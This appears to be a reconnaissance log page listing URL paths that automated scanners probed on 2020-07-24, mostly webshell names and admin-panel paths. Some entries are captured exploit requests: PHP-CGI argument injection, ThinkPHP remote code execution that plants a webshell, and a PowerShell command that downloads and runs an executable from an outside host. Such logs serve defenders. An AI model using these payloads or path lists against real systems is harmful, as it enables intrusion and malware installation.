File Access Bruteforce Attempts for 2020-07-24

Share on:

Jul 24, 2020 Reconnaissance

Last Updated: 23:07 GMT+8

/02.php
/099.php
/1111.php
/11a.php
/1213.php
/123131/index.php
/12345.php
/1234.php
/123.php
/12.php
/1556189185.php
/159.php
/15.php
/1hou.php
/1/index.php
/1ndex.php
/1.php
/1q.php
/1ts.php
/1x.php
/2ndex.php
/2.php
/321/index.php
/3.php
/_404.php
/404.php
/411.php
/415.php
/421.php
/444.php
/4o4.php
/4.php
/51314.php
/51.php
/5201314.php
/520.php
/5678.php
/56.php
/605.php
/666666.php
/666.php
/6.php
/777.php
/789056.php
/7o.php
/7.php
/803.php
/887.php
/888.php
/92.php
/9510.php
/9678.php
/981.php
/987.php
/98k.php
/999.php
/99.php
/9.php
/a411.php
/aaaaaa1.php
/aaaa.php
/aaa.php
/aa.php
/aap.php
/abak.php
/abc776.php
/abc.php
/about.php
/about_ver.php
/ack.php
/admin1.php
/Admin3c20c879/Login.php
/admin/index.php
/admin/index.php?route=common/login
/administrator/index.php
/Administrator.php
/administrator/webconfig.txt.php
/admin/mysql2/index.php
/admin/mysql/index.php
/admin/phpmyadmin2/index.php
/admin/phpmyadmin/index.php
/admin/phpMyAdmin/index.php
/admin/pma/index.php
/admin/PMA/index.php
/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/admn.php
/afafaf.php
/ag.php
/ak47.php
/ak48.php
/ak.php
/Alarg53.php
/alipay.php
/angge.php
/anyi.php
/aojiao.php
/aotian.php
/aotu7.php
/aotu.php
/a.php
/api.php
/app.php
/appserv.php
/asen.php
/asjc.php
/autoloader.php
/avast.php
/aw.php
/back.php
/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/baidoubi.php
/bak.php
/bb.php
/bbq.php
/bbqq.php
/bbr.php
/bbs/index.php
/bbs.php
/bbv.php
/beimeng.php
/bf.php
/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/blog/xmlrpc.php
/bn.php
/boots.php
/b.php
/bruteforce-files-list-2020-06-08//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/bruteforce-files-list-2020-06-18//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/bruteforce-files-list-2020-06-26//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/buluya.php
/bx.php
/cacti/plugins/weathermap/editor.php
/cadre.php
/cainiao.php
/can.php
/caonma.php
/cc.php
/CC.php
/cere.php
/cer.php
/ceshi.php
/cgi-bin/php?2D64+616C6C6F775F75726C5F696E636C7564653D6F6E+2D64+736166655F6D6F64653D6F6666+2D64+7375686F73696E2E73696D756C6174696F6E3D6F6E+2D64+64697361626C655F66756E6374696F6E733D2222+2D64+6F70656E5F626173656469723D6E6F6E65+2D64+6175746F5F70726570656E645F66696C653D7068703A2F2F696E707574+2D64+6367692E666F7263655F72656469726563743D30+2D64+6367692E72656469726563745F7374617475735F656E763D30+2D6E
/cgi-bin/php4?2D64+616C6C6F775F75726C5F696E636C7564653D6F6E+2D64+736166655F6D6F64653D6F6666+2D64+7375686F73696E2E73696D756C6174696F6E3D6F6E+2D64+64697361626C655F66756E6374696F6E733D2222+2D64+6F70656E5F626173656469723D6E6F6E65+2D64+6175746F5F70726570656E645F66696C653D7068703A2F2F696E707574+2D64+6367692E666F7263655F72656469726563743D30+2D64+6367692E72656469726563745F7374617475735F656E763D30+2D6E
/cgi-bin/php5?2D64+616C6C6F775F75726C5F696E636C7564653D6F6E+2D64+736166655F6D6F64653D6F6666+2D64+7375686F73696E2E73696D756C6174696F6E3D6F6E+2D64+64697361626C655F66756E6374696F6E733D2222+2D64+6F70656E5F626173656469723D6E6F6E65+2D64+6175746F5F70726570656E645F66696C653D7068703A2F2F696E707574+2D64+6367692E666F7263655F72656469726563743D30+2D64+6367692E72656469726563745F7374617475735F656E763D30+2D6E
/cgi-bin/php-cgi?2D64+616C6C6F775F75726C5F696E636C7564653D6F6E+2D64+736166655F6D6F64653D6F6666+2D64+7375686F73696E2E73696D756C6174696F6E3D6F6E+2D64+64697361626C655F66756E6374696F6E733D2222+2D64+6F70656E5F626173656469723D6E6F6E65+2D64+6175746F5F70726570656E645F66696C653D7068703A2F2F696E707574+2D64+6367692E666F7263655F72656469726563743D30+2D64+6367692E72656469726563745F7374617475735F656E763D30+2D6E
/cgi-bin/php.cgi?2D64+616C6C6F775F75726C5F696E636C7564653D6F6E+2D64+736166655F6D6F64653D6F6666+2D64+7375686F73696E2E73696D756C6174696F6E3D6F6E+2D64+64697361626C655F66756E6374696F6E733D2222+2D64+6F70656E5F626173656469723D6E6F6E65+2D64+6175746F5F70726570656E645F66696C653D7068703A2F2F696E707574+2D64+6367692E666F7263655F72656469726563743D30+2D64+6367692E72656469726563745F7374617475735F656E763D30+2D6E
/chaoda.php
/ci.php
/claroline/phpMyAdmin/index.php
/class1.php
/cmdd.php
/cmd.php
/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/cmv.php
/cnm.php
/cn.php
/code.php
/composer.php
/composers.php
/conf1g.php
/confg.php
/confie.php
/config.inc.php
/.config.php
/config.php
/Config_Shell.php
/conflg.php
/conf.php
/coonig.php
/coon.php
/core.php
/c.php
/cron.php
/cs.php
/cxfm666.php
/d7.php
/dashu.php
/data/admin/help.php
/data.php
/datas.php
/dbadmin/index.php
/db_cts.php
/db_dataml.php
/db_desql.php
/db/index.php
/db.init.php
/db__.init.php
/db.php
/db_pma.php
/db_session.init.php
/ddd.php
/default.php
/defect.php
/desktop.ini.php
/dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/dexgp.php
/diy.php
/DJ.php
/dns.php
/dong.php
/doudou.php
/download/index.php
/d.php
/dp.php
/Drupal.php
/duke.php
/ecmsmod.php
/edmin.php
/elrekt.php
/elrekt.php?s=2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e&function=63616c6c5f757365725f66756e635f6172726179&vars[0]=6d645&vars[1][]=48656c6c6f5468696e6b504850
/.env.php
/.env.sample.php
/erba.php
/error.php
/errors.php
/errors/processor.php
/erwa.php
/fack.php
/fans.php
/fantao.php
/fb.php
/fckeditor/editor/filemanager/connectors/php/upload.php?Type=Media
/fdgq.php
/feixiang.php
/ffr.php
/floaw.php
/forum/index.php
/forum.php
/forums/index.php
/forums.php
/freebook.php
/ftmabc.php
/fuck.php
/function.inc.php
/fusheng.php
/fx.php
/ganshiqiang.php
/ganzhuolang.php
/general.php
/gg.php
/.git.php
/godkey.php
/goodbook.php
/go.php
/gotemp.php
/g.php
/gsy.php
/guai.php
/guipu.php
/h156.php
/h1.php
/hack.php
/hacly.php
/hades.php
/haiyan.php
/hannan.php
/hd.php
/hello.php
/hell.php
/help-e.php
/help.php
/hgx.php
/hhhhhh.php
/hhh.php
/hh.php
/hl.php
/hm.php
/home.php
/hs.php
/htdocs.php
/htfr.php
/html/public/index.php
/hue2.php
/huoshan.php
/HX.php
/Hzllaga.php
/igo.php
/iis.php
/images/1ndex.php
/images/1.php
/images/asp.php
/images/attari.php
/images/defau1t.php
/images/entyy.php
/images/jsspwneed.php
/images/!.php
/images/stories/cmd.php
/images/stories/filemga.php?ssp=RfVbHu
/images/swfupload/tags.php
/images/up.php
/images/vuln.php
/include/data/tags.php
/include/tags.php
/inc.php
/incs.php
/indax.php
/indea.php
/inde.php
/index1.php
/indexa.php
/indexbak.php
/indexl.php
/index.php
/index.php/module/action/param1/${@die(md5(HelloThinkPHP))}
/index.php?s=2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e&function=63616c6c5f757365725f66756e635f6172726179&vars[0]=6d645&vars[1][]=48656c6c6f5468696e6b504850
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP
/index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))}
/info1.php
/info8.php
/infoo.php
/info.php
/infos.php
/in.php
/ioi.php
/ip.php
/izom.php
/java.php
/jbb.php
/jb.php
/jiaochi.php
/jing.php
/ji.php
/jj1.php
/jjj.php
/jkl.php
/j.php
/jsc.php
/jsc.php.php
/juji.php
/jy.php
/jyyy.php
/key.php
/kkl.php
/kk.php
/knal.php
/kpl.php
/ks1.php
/kvast.php
/l6.php
/l7.php
/l8.php
/lala-dpr.php
/lala.php
/lang.php?f=1
/lanke.php
/lanyecn.php
/laobiao.php
/lapan.php
/laravel.php
/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/ldw.php
/lequ.php
/liangchen.php
/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/lib/phpunit/phpunit/Util/PHP/eval-stdin.php
/lib/phpunit/src/Util/PHP/eval-stdin.php
/lib/phpunit/Util/PHP/eval-stdin.php
/LICENSE000D0A0D0A/cgi-bin/main.php?g2_view=zipcart.Download
/license.php
/lindex.php
/link.php
/linkr.php
/linkx.php
/linux1.php
/linux.php
/linuxse.php
/ljb.php
/lkio.php
/llld.php
/ll.php
/lmn.php
/lm.php
/log1.php
/logon.php
/logo.php
/log.php
/lol.php
/lost.php
/l.php
/lr.php
/lucky.php
/luoke.php
/luoran6.php
/luoran.php
/luso.php
/lx.php
/lz.php
/mazi.php
/MCLi.php
/meijianxue.php
/meng.php
/miao.php
/min.php
/mjx.php
/ml.php
/mm.php
/mmp.php
/mo.php
/m.php
/m.php?pbid=open
/muhstik2.php
/muhstik-dpr.php
/muhstik.php
/muhstiks.php
/muma.php
/mutuba.php
/mx.php
/myadmin2/index.php
/myadmin/index.php
/MyAdmin/index.php
/myadmin/scripts/db___.init.php
/MyAdmin/scripts/db___.init.php
/myadmin/scripts/setup.php
/MyAdmin/scripts/setup.php
/mybestloves.php
/my.php
/mysql-admin/index.php
/mysql/admin/index.php
/mysql_admin/index.php
/mysqladmin/index.php
/MySQLAdmin/index.php
/mysql/dbadmin/index.php
/mysql/index.php
/mysql/mysqlmanager/index.php
/mysql.php
/mysql/sqlmanager/index.php
/mz.php
/n23.php
/n24.php
/nb.php
/neko.php
/new_license.php
/new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/nidage.php
/nnb.php
/nnn.php
/no1.php
/no.php
/nuoxi.php
/okokok.php
/ok.php
/old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/olelist.php
/ooi.php
/ooo23.php
/ooo.php
/o.php
/orange.php
/ou2.php
/oumi.php
/p34ky1337.php
/pagefile.php
/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/pass.php
/payload.php
/paylog.php
/pe.php
/php2MyAdmin/index.php
/phpadmin/index.php
/phpAdmin/index.php
/phpdm.php
/phpiMyAdmin/index.php
/phpinf0.php
/phpinfi.php
/phpinfo.php
/phpinf.php
/phpini.php
/phplil.php
/phpmadmin/index.php
/phpma/index.php
/phpMyAbmin/index.php
/phpmyadm1n/index.php
/phpMyAdm1n/index.php
/phpMyadmi/index.php
/phpmyadmin0/index.php
/phpMyAdmin_111/index.php
/phpMyAdmin123/index.php
/phpmyadmin1/index.php
/phpMyAdmin1/index.php
/phpmyadmin2222/index.php
/phpmyadmin2/index.php
/phpMyAdmin._2/index.php
/phpmyadmin3333/index.php
/phpMyAdmin333/index.php
/phpMyAdmin-4.4.0/index.php
/phpMyAdmin4.8.0/index.php
/phpMyAdmin4.8.1/index.php
/phpMyAdmin4.8.2/index.php
/phpMyAdmin4.8.3/index.php
/phpMyAdmin4.8.4/index.php
/phpMyAdmin4.8.5/index.php
/phpMyAdmin_ai/index.php
/phpMyAdmina/index.php
/phpMyadmin_bak/index.php
/phpMyAdminhf/index.php
/phpmyadmin/index.php
/__phpMyAdmin/index.php
/phpMyAdmin+++—/index.php
/phpMyAdmin._/index.php
/phpMyAdmin/index.php
/phpMyAdmin__/index.php
/phpMyAdminn/index.php
/phpmyadmin-old/index.php
/phpMyAdmin.old/index.php
/phpMyAdminold/index.php
/phpmyadmin/phpmyadmin/index.php
/phpMyAdmin/phpMyAdmin/index.php
/phpmyadmin/scripts/db___.init.php
/phpMyAdmin/scripts/db___.init.php
/phpmyadmin/scripts/setup.php
/phpMyAdmin/scripts/setup.php
/phpMyAdmins/index.php
/phpMyAdmion/index.php
/phpMyAdmln/index.php
/phpMydmin/index.php
/phpmy/index.php
/phpNyAdmin/index.php
/php.php
/phppma/index.php
/phpstudy.php
/phpStudy.php
/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/phpunit/phpunit/Util/PHP/eval-stdin.php
/phpunit/src/Util/PHP/eval-stdin.php
/phpunit/Util/PHP/eval-stdin.php
/Pings.php
/pk1914.php
/plugins/weathermap/editor.php
/plus/90sec.php
/plus/bakup.php
/plus/canshi.php
/plus/dajihi.php
/plus/e7xue.php
/plus/gu.php
/plus/huai.php
/plus/laobiaoaien.php
/plus/laobiao.php
/plus/lucas.php
/plus/ma.php
/plus/moon.php
/plus/mybak.php
/plus/mytag.php
/plus/qiang.php
/plus/read.php
/plus/result.php
/plus/service.php
/plus/shaoyong.php
/plus/tou.php
/plus/xsvip.php
/plus/yunjitan.php
/PMA2/index.php
/pma/index.php
/PMA/index.php
/pmamy2/index.php
/pmamy/index.php
/pma-old/index.php
/pma.php
/pma/scripts/db___.init.php
/PMA/scripts/db___.init.php
/pma/scripts/setup.php
/PMA/scripts/setup.php
/pmd/index.php
/pmd_online.php
/pop.php
/post.php
/p.php
/ppl.php
/pp.php
/ppp.php
/ppx.php
/program/index.php
/protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/public/hydra.php?xcmd=cmd.exe20/c20powershell20(new-object20System.Net.WebClient).DownloadFile(‘http://UeR.ReiyKiQ.ir/download.exe’,’SystemRoot/Temp/jfsgucjeokwlsnd2528.exe’);start20SystemRoot/Temp/jfsgucjeokwlsnd2528.exe
/public/index.php
/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe20/c20powershell20(new-object20System.Net.WebClient).DownloadFile(‘http://UeR.ReiyKiQ.ir/download.exe’,’SystemRoot/Temp/jfsgucjeokwlsnd2528.exe’);start20SystemRoot/Temp/jfsgucjeokwlsnd2528.exe
/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo20^<?php20$action20=20$_GET[‘xcmd’];system($action);?^>>hydra.php
/pwd/index.php
/python.php
/qa.php
/qaq.php
/qaz.php
/qiangkezhi.php
/qiqi11.php
/qiqi1.php
/qiqi.php
/q.php
/qq5262.php
/qq.php
/qqq.php
/que.php
/queqiao.php
/_query.php
/qunhuang.php
/qwe.php
/qw.php
/qwq.php
/qwqw.php
/repeat.php
/root11.php
/root.php
/rrr.php
/ruii.php
/ruyi.php
/rxr.php
/s1.php
/sample.php
/sanan.php
/sane.php
/sbb/index.php
/sbkcb.php
/sbkc.php
/sconfig.php
/scripts/db___.init.php
/scripts/setup.php
/sean.php
/secure1.php
/secure.php
/settings.php
/shaAdmin/index.php
/shanzhi.php
/sha.php
/sheep.php
/shell.php
/she.php
/shh.php
/shi.php
/shipu.php
/shopdb/index.php
/s/index.php
/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/Skri.php
/slider.php
/sllolx.php
/soga.php
/s.php
/spider.php
/spread.php
/sqladmin/index.php
/sql/index.php
/SQL/index.php
/sqlk.php
/sql.php
/ssaa.php
/ss.php
/Ss.php
/sss.php
/super.php
/system.php
/sz.php
/t00ls.php
/t6nv.php
/taisui.php
/taocishun.php
/temp.php
/temtel.php
/test123.php
/test1.php
/test404.php
/test.php
/tests.php
/text.php
/think.php
/thinkphp/html/public/index.php
/tiandi.php
/tianqi.php
/tomcat.php
/tools.php
/tools/phpMyAdmin/index.php
/toor.php
/TP/html/public/index.php
/TP/index.php
/TP/public/index.php
/tt.php
/ttt.php
/tty.php
/typo3/phpmyadmin/index.php
/tyrant.php
/undx.php
/Updata.php
/u.php
/uploader.php
/up.php
/user.php
/userr.php
/uu.php
/uuu.php
/vendor/phpunit/phpunit/build.xml
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
/vendor/phpunit/src/Util/PHP/eval-stdin.php
/vendor/phpunit/Util/PHP/eval-stdin.php
/ver.php
/vf.php
/v/index.php
/v.php
/vuln1.php
/vuln.php
/vulnspy.php
/vvv.php
/wanan.php
/wanmei.php
/wan.php
/wb.php
/wc.php
/wcp.php
/weathermap/editor.php
/webconfig.php
/webconfig.txt.php
/web.php
/web/phpMyAdmin/index.php
/webslee.php
/websql/index.php
/weixiao.php
/whoami.php
/whoami.php.php
/win1.php
/win.php
/woshimengmei.php
/wp-admins.php
/wp-config.php
/wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php
/wpc.php
/w.php
/wp-includes/css/modules.php
/wp-includes/css/wp-config.php
/wp-includes/css/wp-login.php
/wp-includes/fonts/modules.php
/wp-includes/fonts/wp-config.php
/wp-includes/fonts/wp-login.php
/wp-includes/modules/modules.php
/wp-includes/modules/wp-config.php
/wp-includes/modules/wp-login.php
/wpo.php
/wshell.php
/wsx.php
/wulv.php
/wuwu11.php
/wuwu.php
/ww.php
/www.php
/www/phpMyAdmin/index.php
/WWW/phpMyAdmin/index.php
/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/xampp/phpmyadmin/index.php
/xh.php
/xiaobin.php
/xiaodai.php
/xiaohei.php
/xiaomae.php
/xiaoma.php
/xiaomar.php
/xiaomi.php
/xiaomo.php
/xiao.php
/xiaoxia.php
/xiaoxi.php
/xiaoyu.php
/xiaxia.php
/xing.php
/xiong.php
/xi.php
/xiu.php
/xixi.php
/xmlrpc.php
/x.php
/xp.php
/xshell.php
/xs.php
/xsser.php
/xun.php
/xw1.php
/xw.php
/xx33.php
/xx.php
/xxx.php
/xxxx.php
/xz.php
/yao.php
/yccc.php
/ycc.php
/yc.php
/yj.php
/ysy.php
/yumo.php
/yu.php
/yuyang.php
/yyx.php
/yyy.php
/ze.php
/zhk.php
/zhui.php
/zmp.php
/z.php
/zshmindex.php
/zuoindex.php
/zuo.php
/zuoshou.php
/zuoshss.php
/zuos.php
/zuoss.php
/zxc0.php
/zxc1.php
/zxc2.php
/zxc.php
/zxy.php
/zyc.php
/zza.php
/zzk.php
/zz.php
/zzz.php